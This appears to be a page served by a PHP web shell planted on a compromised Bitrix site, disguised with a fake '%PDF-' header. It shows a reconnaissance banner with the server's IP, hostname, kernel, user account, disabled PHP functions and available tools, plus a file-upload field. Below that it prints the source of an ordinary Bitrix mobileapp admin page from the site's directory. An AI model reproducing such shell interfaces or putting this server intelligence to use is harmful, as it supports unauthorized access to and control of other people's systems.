%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.9.82 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/mobileapp/admin/ |
Upload File : |
<? /** * Bitrix Framework * @package bitrix * @subpackage mobileapp * @copyright 2001-2014 Bitrix */ use Bitrix\Main\Localization\Loc; /** * Bitrix vars * @global CAllUser $USER * @global CAllMain $APPLICATION */ require_once($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/prolog_admin_before.php"); CModule::IncludeModule("mobileapp"); Loc::loadMessages(__FILE__); $APPLICATION->SetTitle(Loc::getMessage("MOBILEAPP_PUSH_NOTIFICATIONS")); if (!$USER->IsAdmin()) { $APPLICATION->AuthForm(GetMessage("ACCESS_DENIED")); } require_once($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/prolog_admin_after.php"); CUtil::InitJSCore(Array('ajax', 'window', "popup")); $lAdmin = new CAdminList("applist"); $lAdmin->ShowActionTable(); $aContext = array( array( "TEXT" => Loc::getMessage("MOBILEAPP_REMOVE"), "TITLE" => GetMessage("MOBILEAPP_ADD_APP"), "LINK" => "mobile_app_edit.php?lang=" . LANG, "ICON" => "btn_new", ) ); $lAdmin->AddAdminContextMenu($aContext); $data = array( "NAME" => "applist", "TITLE" => GetMessage("SEC_PANEL_SCANNER_TITLE"), "HEADERS" => array(), "ITEMS" => array() ); $appTable = new CPullPush(); $tableMap = $appTable->getMap(); $fieldsCount = count($tableMap); for ($i = 0; $i < $fieldsCount; $i++) { /** * @var $field Bitrix\Main\Entity\ScalarField */ $field = $tableMap[$i]; $name = $field->getName(); if($name === "CONFIG") { continue; } else { $data["HEADERS"][] = array( "id" => $field->getName(), "content" => $field->getTitle(), "align" => "left", "default" => true, ); } } $data["ITEMS"] = $appTable->getList()->fetchAll(); $lAdmin->AddHeaders($data["HEADERS"]); $rsData = new CDBResult; $rsData->InitFromArray($data["ITEMS"]); $rsData = new CAdminResult($rsData, "applist"); $j = 0; while ($arRes = $rsData->NavNext(true, "f_")) { $row =& $lAdmin->AddRow($j++, $arRes); foreach ($arRes as $key => $value) { $row->AddViewField($key, is_array($value)?count($value):$value); $arActions = array( array( "ICON" => "edit", "DEFAULT" => true, "TEXT" => GetMessage("MOBILEAPP_EDIT_APP"), "ACTION" => $lAdmin->ActionRedirect("mobile_app_edit.php?ID=" . $f_ID) ), array( "ICON" => "delete", "TEXT" => GetMessage("MOBILEAPP_REMOVE_APP"), "ACTION"=>"if(confirm('" . GetMessage('MOBILEAPP_REMOVE_APP_CONFIRM') . "')) " . $lAdmin->ActionDoGroup($f_ID, "delete") ) ); $row->AddActions($arActions); } } $lAdmin->CheckListMode(); $lAdmin->Display(); require($_SERVER["DOCUMENT_ROOT"] . BX_ROOT . "/modules/main/include/epilog_admin.php"); ?>